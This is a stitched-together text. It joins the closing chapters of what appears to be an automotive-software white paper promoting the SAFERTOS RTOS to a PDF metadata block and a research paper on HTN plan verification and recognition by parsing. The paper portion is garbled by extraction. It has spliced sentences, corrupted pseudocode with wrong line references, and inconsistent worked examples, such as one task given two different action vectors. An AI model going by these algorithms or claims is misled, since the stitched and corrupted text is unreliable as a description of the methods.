Typically, good security results from a short supply chain, ideally from a single trusted and respectable company.
CHAPTER 5 Reusable Software Platforms
As is becoming apparent, Automotive software is highly complex. Therefore, to simplify integration standards OSEK and AUTOSAR have come into play, standardising software architecture and increasing the use of compatible software components.
5.1 OSEK
A consortium of German automobile manufacturers began the standard Offene Systeme und deren Schnittstellen für die Elektronik in Kraftfahrzeugen (OSEK). It is an open standard, designed to provide a standard software architecture for the various Electronic Control Units (ECUs) in a vehicle. The OSEK consortium was later joined by a similar group of French automobile manufacturers with their VDX standard, and is now officially designated as OSEK/VDX.
The OSEK/VDX standards cover various different aspects of the vehicle’s software architectures, including:
- OSEK OS operating system
- OSEK Time time triggered operating system
- OSEK COM communication services
- OSEK FTCOM fault tolerant communication
- OSEK NM network management
- OSEK OIL kernel configuration
- OSEK ORTI kernel awareness for debuggers
Some elements of OSEK are scalable, for example OSEK OS defines a set of four conformance classes (BCC1, BCC2, ECC1 and ECC2). These classes are designed to cover different capabilities of the hardware and software, reflecting the performance requirements of different applications and features, allowing partial implementations to be defined as compliant where full implementations are not needed.
Figure 5-1 shows an example OSEK architecture involving an RTOS. Some RTOS can be supplied with an optional OSEK OS adaptation layer, allowing them to be used as a drop-in component within OSEK OS compliant systems.
Figure 5-1 An Example of an RTOS with an OSEK Layer
5.2 AUTOSAR
AUTOSAR (AUTomotive Open System ARchitecture) is a worldwide development partnership of automotive interested parties. Its objective is to create and establish an open and standardised software architecture for automotive electronic control units (ECUs) excluding infotainment. AUTOSAR provides a standard software development base for industry collaboration on basic functions while providing a platform which continues to encourage competition on innovative functions and promoting reuse of software components.
AUTOSAR uses a three-layered architecture:
- Basic Software: standardised software modules that provide a Hardware Abstraction Layer.
- Runtime environment: Middleware which abstracts from the network topology for the inter- and intra-ECU information exchange between the application software components and between the Basic software and the applications.
- Application Layer: Provides a common software API for automotive applications in terms of syntax and semantics.
The AUTOSAR specification for operating systems according to scalability class 1 is based on the OSEK/VDX standard. Figure 5-2 shows an example of this structure, illustrated with an RTOS. Many modern RTOS can be supplied with an OSEK OS API wrapper, allowing them to be integrated within an AUTOSAR environment.

6.1 General Considerations
There are many considerations for the software within the Automotive sphere, but the traditional care taken over software architecture must not be neglected.
For most systems a quick software boot time is essential, placing the car into a working and safe state as quickly as possible. Responsiveness is also very important, as events happen very fast when a car is travelling at speed. To manage this, most automotive architectures support parallel processing. Therefore, the software will need to support core to core communications and synchronisation.
Due to cost, space or procurement constraints, automotive software within a single processor may have to provide functionality supporting different Safety Integrity Levels. To do this the developer needs to ensure software designed to support lower Safety Integrity Levels cannot interfere with software designed to support higher Safety Integrity Levels.
Part of the solution is to use the processor's Memory Protection Unit (MPU) or Memory Management Unit (MMU), whereby specific memory regions can be allocated to software sections that have been designed to the same SIL level.
A degree of spatial separation can be achieved by selecting an RTOS that provides the tools enabling the definition and manipulation of MPU regions on a per task basis. Here each Task is allocated its own memory regions. Each time there is a context switch and a new Task is activated, the MPU/MMU registers are re-programmed with the memory regions relating to the new Task. If the software tries to access a memory region outside of its permitted range, an exception will be triggered.
---
**Figure 6-1** An Example of a Memory Protection Unit
---
6.1.1 “Should we Use an RTOS?”
There are well-established techniques for writing good embedded software without the use of an RTOS. In some cases, these techniques may provide the most appropriate solution; however as the solution becomes more complex, the benefits of an RTOS become more apparent. These include:
**Priority Based Scheduling:** The ability to separate critical processing from non-critical is a powerful tool.
**Abstracting Timing Information:** The RTOS is responsible for timing and provides API functions. This allows for cleaner (and smaller) application code.
**Maintainability/Extensibility:** Abstracting timing dependencies and task based design results in fewer interdependencies between modules. This makes for easier maintenance.
**Modularity:** The task based API naturally encourages modular development as a task will typically have a clearly defined role.
**Promotes Team Development:** The task based system allows separate designers/teams to work independently on their parts of the project.
**Easier Testing:** Modular task based development allows for modular task based testing.
**Code Reuse:** Another benefit of modularity is that similar applications on similar platforms will inevitably lead to the development of a library of standard tasks.
**Improved Efficiency:** An RTOS can be entirely event driven; no processing time is wasted polling for events that have not occurred.
**Idle Processing:** Background or idle processing is performed in the idle task. This ensures that things such as CPU load measurement, background CRC checking etc will not affect the main processing.
6.2 Pre Certified Software Modules
Developing automotive software is complex and time consuming, but solutions are available. The market trend is to construct automotive software from pre-existing modules. Many of these modules have been pre-certified against ISO 26262. Pre-certified software modules provide robust and reliable software. There is a variety on the market, but be wary of the terms “certifiable” and “certified”, as there is a large difference between the two. It’s recommended to select pre-certified software that has been designed and verified on your specific processor and compiler combination, if possible, even down to your version of the compiler and your compiler setting, as it removes the need for re-testing on the target hardware.
If you are considering using pre-certified software, you should also consider using a certified compiler as well.
6.2.1 SAFERTOS®: An example of a pre-certified software module
A good example of a pre-certified software module is SAFERTOS®.
SAFERTOS is a safety certified Real Time Operating System (RTOS) for embedded processors, developed by WITTENSTEIN high integrity systems (WHIS). It has been designed for the highest standards of functional safety and certified by TÜV SÜD to IEC 61508 SIL 3 and to ISO 26262 ASIL D. SAFERTOS also contains features that support the development of safety critical automotive software.
- Available pre-certified to ISO 26262 ASIL D by TÜV SÜD;
- Supports a wide range of automotive processors;
- Quick boot time, highly responsive;
- Task separation and isolation feature;
- OSEK OS adaptation layer available.
- Widely used across the automotive industry.
To learn more about SAFERTOS please see https://www.highintegritysystems.com/safertos or contact WHIS.
CHAPTER 7 Conclusion
From the above discussion, it’s easy to understand that the challenges facing embedded engineers developing software for automotive applications are many. They include issues such as safety, security, integration and managing software containing a mix of different Safety levels.
It has been seen that Security is a rapidly increasing field with a variety of standards and regulation. While there is room for improvement and standardisation, it’s clear that good practices such as code structure, architecture, and supply chain are still as important as ever.
We’ve seen how OSEK and AUTOSAR encourage integration and re-usable components. Now an established part of the Automotive software landscape, they increase engineering efficiency across the globe.
Finally, we’ve looked at the functionality of the software itself, and how, as in all industries, care must be taken to optimise for the application. We’ve seen how the trend to using pre-certified software modules and compilers is making automotive software development easier by allowing the developer to quickly add functionality to their projects with minimum risk.
Automotive Software is an exciting field to be a part of, especially at this time of exponential growth. WITTENSTEIN high integrity systems is glad to one of the forerunners providing help to engineers in this vital industry.
SAFERTOS was put forward as an example of a pre-certified software module widely used across the automotive sector. To learn more about SAFERTOS please see https://www.highintegritysystems.com/safertos or contact WHIS.
References
|
{"Source-Url": "https://highintegritysystems.com/downloads/white_papers/Issues_Facing_Automotive_Software_Developers.pdf", "len_cl100k_base": 4736, "olmocr-version": "0.1.53", "pdf-total-pages": 17, "total-fallback-pages": 0, "total-input-tokens": 30909, "total-output-tokens": 5696, "length": "2e12", "weborganizer": {"__label__adult": 0.001071929931640625, "__label__art_design": 0.0005283355712890625, "__label__crime_law": 0.0010251998901367188, "__label__education_jobs": 0.0006275177001953125, "__label__entertainment": 0.00010848045349121094, "__label__fashion_beauty": 0.0003781318664550781, "__label__finance_business": 0.0005321502685546875, "__label__food_dining": 0.0007257461547851562, "__label__games": 0.002666473388671875, "__label__hardware": 0.007144927978515625, "__label__health": 0.0006089210510253906, "__label__history": 0.00029397010803222656, "__label__home_hobbies": 0.00013768672943115234, "__label__industrial": 0.0016584396362304688, "__label__literature": 0.0003883838653564453, "__label__politics": 0.0003256797790527344, "__label__religion": 0.0007038116455078125, "__label__science_tech": 0.01491546630859375, "__label__social_life": 8.20159912109375e-05, "__label__software": 0.01236724853515625, "__label__software_dev": 0.94140625, "__label__sports_fitness": 0.0008001327514648438, "__label__transportation": 0.01143646240234375, "__label__travel": 0.0002903938293457031}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 26871, 0.02655]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 26871, 0.53158]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 26871, 0.87456]], "google_gemma-3-12b-it_contains_pii": [[0, 75, false], [75, 3371, null], [3371, 5002, null], [5002, 6422, null], [6422, 8845, null], [8845, 9054, null], [9054, 11591, null], [11591, 12356, null], [12356, 15296, null], [15296, 16315, null], [16315, 18090, null], [18090, 19504, null], [19504, 21227, null], [21227, 24626, null], [24626, 26225, null], [26225, 26871, null], [26871, 26871, null]], "google_gemma-3-12b-it_is_public_document": [[0, 75, true], [75, 3371, null], [3371, 5002, null], [5002, 6422, null], [6422, 8845, null], [8845, 9054, null], [9054, 11591, null], [11591, 12356, null], [12356, 15296, null], [15296, 16315, null], [16315, 18090, null], [18090, 19504, null], [19504, 21227, null], [21227, 24626, null], [24626, 26225, null], [26225, 26871, null], [26871, 26871, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 26871, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 26871, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 26871, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 26871, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 26871, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 26871, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 26871, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 26871, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 26871, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 26871, null]], "pdf_page_numbers": [[0, 75, 1], [75, 3371, 2], [3371, 5002, 3], [5002, 6422, 4], [6422, 8845, 5], [8845, 9054, 6], [9054, 11591, 7], [11591, 12356, 8], [12356, 15296, 9], [15296, 16315, 10], [16315, 18090, 11], [18090, 19504, 12], [19504, 21227, 13], [21227, 24626, 14], [24626, 26225, 15], [26225, 26871, 16], [26871, 26871, 17]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 26871, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-08
|
2024-12-08
|
bd60191b28b59ba19f4c39a4f9af24d57a5ab232
|
Hierarchical planning, in particular, Hierarchical Task Networks, was proposed as a method to describe plans by decomposition of tasks to sub-tasks until primitive tasks, actions, are obtained. Plan verification assumes a complete plan as input, and the objective is finding a task that decomposes to this plan. In plan recognition, a prefix of the plan is given and the objective is finding a task that decomposes to the (shortest) plan with the given prefix. This paper describes how to verify and recognize plans using a common method known from formal grammars, by parsing.
Hierarchical planning is a practically important approach to automated planning based on encoding abstract plans as hierarchical task networks (HTNs) (Erol, Hendler, and Nau 1996). The network describes how compound tasks are decomposed, via decomposition methods, to sub-tasks and eventually to actions forming a plan. The decomposition methods may specify additional constraints among the sub-tasks such as partial ordering and causal links.
There exist only two systems for verifying if a given plan complies with the HTN model (a given sequence of actions can be obtained by decomposing some task). One system is based on transforming the verification problem to SAT (Behnke, Höller, and Biundo 2017) and the other system is using parsing of attribute grammars (Barták, Maillard, and Cardoso 2018). Only the parsing-based system supports HTN fully (the SAT-based system does not support the decomposition constraints).
Parsing became popular in solving the plan recognition problem (Vilain 1990) as researchers realized soon the similarity between hierarchical plans and formal grammars, specifically context-free grammars with parsing trees close to decomposition trees of HTNs. The plan recognition problem can be formulated as the problem of adding a sequence of actions after some observed partial plan such that the joint sequence of actions forms a complete plan generated from some task (more general formulations also exist). Hence plan recognition can be seen as a generalization of plan verification. There exist numerous approaches to plan recognition using parsing or string rewriting (Avrahami-Zilberbrand and Kaminka 2005; Geib, Maraist, and Goldman 2008; Geib and Goldman 2009; Kabanza et al. 2013), but they use hierarchical models that are weaker than HTNs. The languages defined by HTN planning problems (with partial-order, preconditions and effects) lie somewhere between context-free (CF) and context-sensitive (CS) languages (Höller et al. 2014) so to model HTNs one needs to go beyond the CF grammars. Currently, the only grammar-based model covering HTNs fully uses attribute grammars (Barták and Maillard 2017). Moreover, the expressivity of HTNs makes the plan recognition problem undecidable (Behnke, Höller, and Biundo 2015). Currently, there exists only one approach for HTN plan recognition. This approach relies on translating the plan recognition problem to a planning problem (Höller et al. 2018), which is a method invented in (Ramírez and Geffner 2003).
In this paper we focus on verification and recognition of HTN plans using parsing. The uniqueness of the proposed methods is that they cover full HTNs including task interleaving, partial order of sub-tasks, and other decomposition constraints (prevailing constraints, specifically). The methods are derived from the plan verification technique proposed in (Barták, Maillard, and Cardoso 2018).
There are two novel contributions of this paper. First, we will simplify the above mentioned verification technique by exploiting information about actions and states to improve practical efficiency of plan verification. Second, we will extend that technique to solve the plan (task) recognition problem. For plan verification, only the method in (Barták, Maillard, and Cardoso 2018) supports HTN fully. We will show that the verification algorithm can be much simpler and, hence, it is expected to be more efficient. For plan recognition, the method proposed in (Höller et al. 2018) can in principle support HTN fully, if a full HTN planner is used (which is not the case yet as prevailing conditions are not supported). However, like other plan recognition techniques it requires the top task (the goal) and the initial state to be specified as input. A practical difference of out methods is that they do not require information about possible top (root) tasks and an initial state as their input. This is particularly interesting for plan/task recognition, where existing methods require a set of candidate tasks (goals) to select from
Formally, let Classical Planning
In this paper we work with classical STRIPS planning that makes them inefficient). Later, we will use the notation $S(t_1, ..., t_k, C)$ be a task network, where $C$ are its constraints (see later). We can describe the decomposition method as a derivation (rewriting) rule:
$$T \rightarrow T_1, ..., T_k \mid C$$
The planning problem in HTN is specified by an initial state (the set of propositions that hold at the beginning) and by an initial task representing the goal. The compound tasks need to be decomposed via decomposition methods until a set of primitive tasks – actions – is obtained. Moreover, these actions need to be linearly ordered to satisfy all the constraints obtained during decompositions and the obtained plan – a linear sequence of actions – must be applicable to the initial state in the same sense as in classical planning. We denote action as $a_i$, where the index $i$ means the order number of action in the plan ($a_i$ is the $i$-th action in the plan). The state right after the action $a_i$ is denoted $S_i$, $S_0$ is the initial state. We denote the set of actions to which a task $T$ decomposes as $act(T)$. If $U$ is a set of tasks, we define $act(U) = \bigcup_{T \in V} act(T)$. The index of the first action in the decomposition of $T$ is denoted $start(T)$, that is, $start(T) = \min\{i|a_i \in act(T)\}$. Similarly, $end(T)$ means the index of the last action in the decomposition of $T$, that is, $end(T) = \max\{i|a_i \in act(T)\}$.
We can now define formally the constraints $C$ used in the decomposition methods. The constraints can be of the following three types:
- $t_1 < t_2$: a precedence constraint meaning that in every plan the last action obtained from task $t_1$ is before the first action obtained from task $t_2$, $end(t_1) < start(t_2)$.
- $before(U, p)$: a precedence constraint meaning that in every plan the proposition $p$ holds in the state right before the first action obtained from tasks $U$, $p \in S_{start(U) - 1}$.
- $between(U, V, p)$: a prevailing condition meaning that in every plan the proposition $p$ holds in all the states between the last action obtained from tasks $U$ and the first action obtained from tasks $V$.
The HTN plan verification problem is formulated as follows: given a sequence of actions $a_1, a_2, ..., a_n$, is there an initial state $S_0$ such that the sequence of actions forms a valid plan leading from $S_0$ to a goal state? In some formulations, the initial state might also be given as an input to the verification problem.
Hierarchical Task Networks
To simplify the planning process, several extensions of the basic STRIPS model were proposed to include some control knowledge. Hierarchical Task Networks (Erol, Hendler, and Nau 1996) were proposed as a planning domain modeling framework that includes control knowledge in the form of recipes how to solve specific tasks. The recipe is represented as a task network, which is a set of sub-tasks to solve a given task together with the set of constraints between the sub-tasks. Let $T$ be a compound task and $\{T_1, ..., T_k\}$, $C$ be a task network, where $C$ are its constraints (see later).
of added actions to complete the plan). If only the task $T$ is of interest (not the actions $a_{n+1}, \ldots, a_{n+m}$) then we are talking about the task (goal) recognition problem.
#### The Plan Verification Algorithm
The existing parsing-based HTN verification algorithm (Barták, Mailhard, and Cardoso 2018) uses a complex structure of a timeline, that maintains the decomposition constraints so they can be checked when composing sub-tasks to a compound task. We propose a simplified verification method, that does not require this complex structure, as it checks all the constraints directly in the input plan. This makes the algorithm easier for implementation and presumably also faster.
The novel hierarchical plan verification algorithm is shown in Algorithm 1. It first calculates all intermediate states (lines 2-8) by propagating information about propositions in action preconditions and effects. At this stage, we actually solve the classical plan validation problem as the algorithm verifies that the given plan is causally consistent (action precondition is provided by previous actions or by the initial state). The original verification algorithm did this calculation repeatedly each time it composed a compound task. It is easy to show that every action is applicable, that is, $B_{a_i}^+ \subseteq S_{i-1}$ (lines 2 and 4). Next, we will show that $\gamma(S_i, a_{i+1}) = S_{i+1} = (S_i \backslash A_{a_{i+1}}^+) \cup A_{a_{i+1}}^+$, Left-to-right propagation (line 4) ensures that $(S_i \backslash A_{a_{i+1}}^-) \cup A_{a_{i+1}}^+$, Right-to-left propagation (line 6) ensures that preconditions are propagated to earlier states if not provided by the action at a given position. In other words, if there is a proposition $p \in S_{i+1} \backslash A_{a_{i+1}}^+$ then this proposition should be at $S_i$. Line 6 adds such propositions to $S_i$ so it holds $(S_i \backslash A_{a_{i+1}}^-) \cup A_{a_{i+1}}^+ = S_{i+1}$. However, if $p \in A_{a_{i+1}}^-$, then $p$ would be deleted by the action $a_{i+1}$, which means that the plan is not valid. The algorithm detects such situations (line 8).
When the states are calculated, we apply a parsing algorithm to compose tasks. Parsing starts with the set of primitive tasks (line 9), each corresponding to an action from the input plan. For each task $T$, we keep a data structure describing the set $act(T)$, that is, the set of actions to which the task decomposes. We use a Boolean vector $I$ of the same size as the plan to describe this set; $a_i \in act(T) \iff I(i) = 1$. To simplify checks of decomposition constraints, we also keep information about the index of first and last actions from simplify checks of decomposition constraints, we also keep
```
1 Function VERIFYPLAN
2 $S_0 \leftarrow B_{a_1}^+$
3 for $i = 1$ to $n$
4 $S_i \leftarrow S_{i-1} \cup (S_{i-1} \backslash A_{a_i}^-) \cup A_{a_i}^+$
5 for $i = n$ down to 0 do
6 $S_i \leftarrow S_i \cup (S_{i+1} \backslash A_{a_{i+1}}^+)$
7 if $S_i \cap A_{a_i}^- \neq \emptyset$ then
8 return false
9 sp \leftarrow \emptyset; new \leftarrow \left\{ (A_i, i, I_i) \mid i \in 1..n \right\}
10 Data: $A_i$ is a primitive task corresponding to action $a_i$, $I_i$ is a Boolean vector of size $n$, such that $\forall i \in 1..n, I_i(i) = 1, \forall j \neq i, I_i(j) = 0$
11 while new \neq \emptyset do
12 sp \leftarrow sp \cup new; new \leftarrow \emptyset
13 foreach decomposition method $R$ of the form $T_0 \rightarrow T_1, \ldots, T_k [\pre, \btw]$ such that $\{(T_j, b_j, e_j, I_j) \mid j \in 1..k\} \subseteq sp$ do
14 if $\exists (i, j) \in \pre: -(e_i < b_j)$ then
15 break
16 if $I_0(i) > 1$ then
17 break
18 if $\exists (U, p) \in \pre: p \not\in S_{\min(b_j, j \in U) - 1}$ then
19 break
20 new \leftarrow new \cup \left\{ (T_0, b_0, e_0, I_0) \right\}
21 if $\forall k, I_0(k) = 1$ then
22 return true
23 return false
```
Algorithm 1: Plan verification
Data: a plan $P = (a_1, \ldots, a_n)$ and a set of decom. methods
Result: a Boolean equal to true if the plan can be derived from some compound task, false otherwise
rewriting of constraint definitions. If all tests pass, the new task is added to a set of tasks (line 25). Then we know that the task decomposes to actions, which form a sub-sequence (non necessarily continuous) of the plan to be verified. The process is repeated until a task that decomposes to all actions is obtained (line 27) or no new task can be composed (line 10). The algorithm is sound as the returned task decomposes to all actions in the input plan. If the algorithm finishes with the value false then no other task can be derived. As there is a finite number of possible tasks, the algorithm has to finish, so it is complete.
The Plan Recognition Algorithm
Any plan verification algorithm, for example, the one from the previous section, can be extended to plan recognition by feeding the verification algorithm with actions $a_1, \ldots, a_{n+k}$, where we progressively increase $k$. The actions $a_1, \ldots, a_n$ are given as an input, while the actions $a_{n+1}, \ldots, a_{n+k}$ need to be generated (planned). However, this generate-and-verify approach would be inefficient for larger $k$ as it requires exploration of all valid sequences of actions with the prefix $a_1, \ldots, a_n$. Assume that there could be 5 actions at the position $n+1$ and 6 actions at the position $n+2$. Then the generate-and-verify approach needs to explore up to 30 plans (not every action at the position $n+2$ could follow every action at the position $n+1$) and for each plan the verification part starts from scratch as the plans are different. This is where the verification algorithm from (Barták, Maillard, and Cardoso 2018) can be used as it does not require exactly one action at each position. The algorithm stores actions (sub-tasks) independently and only when it combines them to form a new task, it generates the states between the actions and checks the constraints for them. This resembles the idea of the Graphplan algorithm (Blum and Furst 1997). There are also sets of candidate actions for each position in the plan and the plan-extraction stage of the algorithm selects some of them to form a causally valid plan. We use compound tasks together with their decomposition constraints to select and combine the actions (we do not use parallel actions in the plan).
The algorithm from (Barták, Maillard, and Cardoso 2018) extended to solve the plan recognition problem is shown in Algorithm 2. It starts with actions $a_1, \ldots, a_n$ (line 2) and it finds all compound tasks that decompose to subsets of these actions (lines 4–30). This inner while-loop is taken from (Barták, Maillard, and Cardoso 2018), we only syntactically modified it to highlight the similarity with the verification algorithm from the previous section. If a task that decomposes to all current actions is found (line 30) then we are done. This is the goal task that we looked for and its timeline describes the recognized plan. Otherwise, we add all primitive tasks corresponding to possible actions at position $n+1$ (line 33). Note that these are not parallel actions, the algorithm needs to select exactly one of them for the plan. Now, the parsing algorithm continues as it may compose new tasks that include one of those just added primitive tasks. Notice that the algorithm uses all composed tasks from previous iterations in succeeding iterations so it does not start from scratch when new actions are added. This process is repeated until the goal task is found. The algorithm is clearly sound as the task found is the task that decomposes to the shortest plan with a given prefix. This goes from the soundness and completeness of the verification algorithm (in particular, no task that decomposes to a shorter plan exists). The algorithm is semi-complete as if there exists a plan with the length $n+k$ and with a given prefix, the algorithm will eventually find it at the $(k+1)$-th iteration. If no plan with a given prefix exists then the algorithm will not stop. However, recall that the plan recognition problem is undecidable (Behne, Höller, and Biundo 2015) so any plan recognition approach suffers from this deficiency.
### Algorithm 2: Plan recognition
Data: a plan $P = (a_1, \ldots, a_n)$, $A_i$ is a primitive task corresponding to action $a_i$, and a set of decomposition methods.
Result: A task that decomposes to a plan with prefix $P$.
```plaintext
Function Recognize Plan
1. new ← \{(A_i, i, (B_{a_i}^\theta, 0, A_{a_i}^\theta, A_{a_i}^{-1})))|i ∈ 1..n\} ;
2. sp ← ∅ ; l ← n ;
3. while new ≠ ∅ do
4. sp ← sp ∪ new ; new ← ∅ ;
5. foreach decomposition method R of the form $T_0 → T_1, \ldots, T_k [., pre, btw]$ such that
6. \{(T_j, b_j, e_j, tl_j))|j ∈ 1..k\} ⊆ sp
7. if $∃ (i, j) ∈ \prec (e_i < b_j)$ then
8. break
9. $b_0 ← \min\{b_j|i ∈ 1..k\} ;$ e_0 ← \(\max\{e_j|i ∈ 1..k\}.)
10. tl ← \{(∅, ∅, empty, ∅, 0)|i ∈ b_0..e_0\} ;
11. for j = 1 to k : i = bj to e_j do
12. (Pre^j_0, Pre^j_1, Post^j_0, Post^j_1, i) ∈ tl
13. (Pre^j_2, Pre^j_3, Post^j_2, Post^j_3, j) ∈ tl
14. if $a_i$ ≠ empty, $a_j$ ≠ empty then
15. break
16. Pre^j_1 ← Pre^j_1 ∪ Pre^j_2
17. Pre^j_3 ← Pre^j_3 ∪ Pre^j_3
18. Post^j_1 ← Post^j_1 ∪ Post^j_2
19. Post^j_3 ← Post^j_3 ∪ Post^j_3
20. if $a_i$ = empty then
21. $a_1 ← a_2$
22. APPLYPRE(tl,pre);
23. APPLYBETWEEN(tl,btw);
24. PROPAGATE(tl,b_0, e_0 − 1);
25. if $∃ (Pre^+, Pre^−, a_i, Post^+, Post^−) ∈ tl$ : Pre^+ ∩ Pre^− ≠ ∅ then
26. break
27. new ← new ∪ \{(T_0, b_0, b_0, e_0, tl)\} ;
28. if $b_0 = 1, e_0 = l, \forall(\ldots, a_j, \ldots)_j ∈ tl :$
29. $a_j$ ≠ empty then
30. return $T_0, tl$
31. $l ← l + 1 ;$
32. new ← \{(A(l, l, 0, (B_{a_1}^\theta, 0, A_{a_1}^\theta, A_{a_1}^{-1})))| \text{ action } a \text{ can be at position } l ; A \text{ is a primitive task for } a \} ;$
33. goto 4
```
The algorithm maintains a timeline for each compound task to verify all the constraints. This is the major difference from the above verification algorithm that points to the original plan. This timeline has been introduced in (Barták, Maillard, and Cardoso 2018), where all technical details can be found. We include a short description to make the paper self-contained. A timeline is an ordered sequence of slots, where each slot describes an action, its effects, and the state right
before the action. For task \( T \), the actions in slots are exactly the actions from \( act(T) \). Both effects and states are modelled using two sets of propositions, \( Post^+ \) and \( Post^- \) modeling positive and negative effects of the action and \( Pre^+ \) and \( Pre^- \) modeling propositions that must and must not be true in the state right before the action. Two sets are used as the state is specified only partially and propositions are added to it during propagation so it is necessary to keep information about propositions that must not be true in the state.
The timeline always spans from the first to the last action of the task. Due to interleaving of tasks (actions from one task might be located between the actions of another task in the plan), some slots of the task might be empty. These empty slots describe “space” for actions of other tasks. When we are merging sub-tasks (lines 12-22), we merge their timelines, slot by slot. This is how the actions from sub-tasks are put together in a compound task. Notice, specifically, that it is not allowed for two merged sub-tasks to have actions in the same slot (line 15). This ensures that each action is generated by exactly one task.
### Algorithm 3: Apply before constraints
**Data:** a set of slots \( slots \), a set of before constraints
**Result:** an updated set of slots
1. **Function** APPLYPRE\( (slots, pre) \)
1. \( \text{foreach } (U, l) \in pre \)
2. \( id = \min\{b_j | j \in U\} ; \)
3. \( Pre^+_id \leftarrow Pre^+_id \cup \{p|l = p\} ; \)
4. \( Pre^-id \leftarrow Pre^-id \cup \{p|l = \neg p\} \)
### Algorithm 5: Propagate
**Data:** a set of slots \( slots \)
**Result:** an updated set of slots
1. **Function** PROPAGATE\( (slots, lb, ub) \)
/* Propagation to the right */
2. \( \text{for } i = lb \text{ to } ub \) do
3. \( \text{if } a_i \neq \text{empty then} \)
4. \( Pre^+_i \leftarrow Pre^+_i \cup (Pre^+_i \cup Post^-_i) \cup Post^+_i \)
5. \( Pre^-i \leftarrow Pre^-i \cup (Pre^-i \\setminus Post^+_i) \cup Post^-_i \)
/* Propagation to the left */
6. \( \text{for } i = ub \text{ down to } lb \) do
7. \( \text{if } a_i \neq \text{empty then} \)
8. \( Pre^+_i \leftarrow Pre^+_i \cup (Pre^+_i \setminus Post^+_i) \)
9. \( Pre^-i \leftarrow Pre^-i \cup (Pre^-_i \setminus Post^-_i) \)
### Algorithm 4: Apply between constraints
**Data:** a set of slots \( slots \), a set of between constraints
**Result:** an updated set of slots
1. **Function** APPLYBETWEEN\( (slots, between) \)
2. \( \text{foreach } (U, V, l) \in between \)
3. \( s = \max\{e_i | i \in U\} + 1 ; \)
4. \( e = \min\{b_i | i \in V\} ; \)
5. \( \text{for } id = s \text{ to } e \) do
6. \( Pre^+_id \leftarrow Pre^+_id \cup \{p|l = p\} ; \)
7. \( Pre^-id \leftarrow Pre^-id \cup \{p|l = \neg p\} \)
### Example
A unique property of the proposed techniques is handling task interleaving – actions generated from different tasks may interleave to form a plan. This is the property that parsing techniques based on CF grammars cannot handle.
Example in Figure 1 demonstrates how the timelines are filled by actions as the tasks are being derived/composed from the plan. Assume, first, that a complete plan consisting of actions \( a_1, a_2, \ldots, a_7 \) is given. The plan recognition algorithm can also handle such situations, when a complete plan is given, so it can serve for plan verification too (the verification variant of the Algorithm 2 should stop with a failure at line 33 as no action can be added during plan verification). In the first iteration, the algorithm will compose tasks \( T_2, T_3, T_4 \) as these tasks decompose to actions directly. Notice, how the timelines with empty slots are constructed. We know where the empty slots are located as we know the exact location of actions in the plan. In the second iteration, only the task \( T_1 \) is composed from already known tasks \( T_3 \) and \( T_4 \). Notice how the slots from these tasks are copied to the slots of a new timeline for \( T_1 \). By contrary, the slots in original tasks remain untouched as these tasks may merge with other tasks to form alternative decomposition trees (see the discussion below). Finally, in the third iteration, tasks \( T_1 \) and \( T_2 \) are merged to a new task \( T_0 \) and the algorithm stops there as a complete timeline that spans the plan fully is obtained (condition at line 30 of Algorithm 2 is satisfied).
Let us assume that there is a constraint \( \text{between}\{\{a_1\}, \{a_3\}, p\} \) in the decomposition method for \( T_3 \). This constraint may model a causal link between \( a_1 \) and \( a_3 \). When composing the task \( T_3 \), the second slot of its timeline remains empty, but the proposition \( p \) is placed there (see Algorithm 4). This proposition is then copied to the timeline of task \( T_1 \), when merging the timelines (line 17 of Algorithm 2), and finally also to the timeline of task \( T_0 \). During each merge operation, the algorithm checks that \( p \) can still be in the slot, in particular, that \( p \) is not required to be false at the same slot (line 26). So the Algorithm 2
repeatedly checks the constraints from methods.
The new plan verification algorithm (Algorithm 1) handles the method constraints more efficiently as it uses the complete plan with states to check them. Moreover, the propagation of states is run just once in Algorithm 1 (lines 2-8), while Algorithm 2 runs it repeatedly each time the task is composed from subtasks. Hence, each constraint is verified just once in Algorithm 1, when a new task is composed. In particular, the constraint between \(\{a_2\}, \{a_3\}, p\) is verified with respect to the states when task \(T_3\) is introduced. Otherwise, both Algorithm 1 and Algorithm 2 derive the tasks in the same order (if the decomposition methods are explored in the same order). Instead of timelines, Algorithm 1 uses the Boolean vector \(I\) to identify actions belonging to each task. For example, for task \(T_3\) the vector is \([1, 0, 1, 0, 1, 0, 0]\) and for task \(T_3\) it is \([0, 0, 0, 1, 0, 1, 0]\). When composing task \(T_1\) from \(T_3\) and \(T_4\) the vectors are merged to get \([1, 0, 1, 1, 1, 1, 0]\) (see the loop at line 17). Notice that the vector always spans the whole plan, while the timelines start at the first action and finish with the last action of the task (and hence the same timeline can be used for different plan lengths).
